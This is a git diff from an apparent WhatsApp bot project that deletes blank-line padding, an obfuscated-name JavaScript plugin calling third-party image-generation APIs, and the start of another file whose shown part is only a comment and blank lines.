-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {
- adams
-} = require("../Ibrahim/adams");
-const {
- default: axios
-} = require("axios");
-adams({
- 'nomCom': "generate4",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please enter the necessary information to generate the image.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "extract",
- 'reaction': '⏳',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please insert the image url Bmw-Md will extract it for you.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://www.samirxpikachu.run.place/extract/text?url=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/flux?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate2",
- 'reaction': '🎞',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image and Bmw Md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/marjia?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "generate4",
- 'reaction': '💎',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Please describe your image Bmw md will generate it.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://www.samirxpikachu.run.place/multi/Ml?prompt=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-adams({
- 'nomCom': "wash",
- 'reaction': '🎇',
- 'categorie': 'AI'
-}, async (_0x22ef9c, _0x5287a8, _0x2ccd49) => {
- const {
- repondre: _0x2b1a81,
- arg: _0x885e30,
- ms: _0x4eb9fe
- } = _0x2ccd49;
- try {
- if (!_0x885e30 || _0x885e30.length === 0) {
- return _0x2b1a81("Kindly enter a valid image url to beautify your image.");
- }
- const _0x30bcaa = _0x885e30.join(" ");
- const _0x93b128 = "https://samirxpikachuio.onrender.com/remacne?url=" + _0x30bcaa;
- _0x5287a8.sendMessage(_0x22ef9c, {
- 'image': {
- 'url': _0x93b128
- },
- 'caption': "*®ADAMS 2024*"
- }, {
- 'quoted': _0x4eb9fe
- });
- } catch (_0x3fe80d) {
- console.error("Erreur:", _0x3fe80d.message || "Une erreur s'est produite");
- _0x2b1a81("Oops, an error occurred while processing your request");
- }
-});
-
-
diff --git a/scs/bmwba.js b/scs/bmwba.js
deleted file mode 100644
index 5775ec8..0000000
--- a/scs/bmwba.js
+++ /dev/null
@@ -1,15300 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
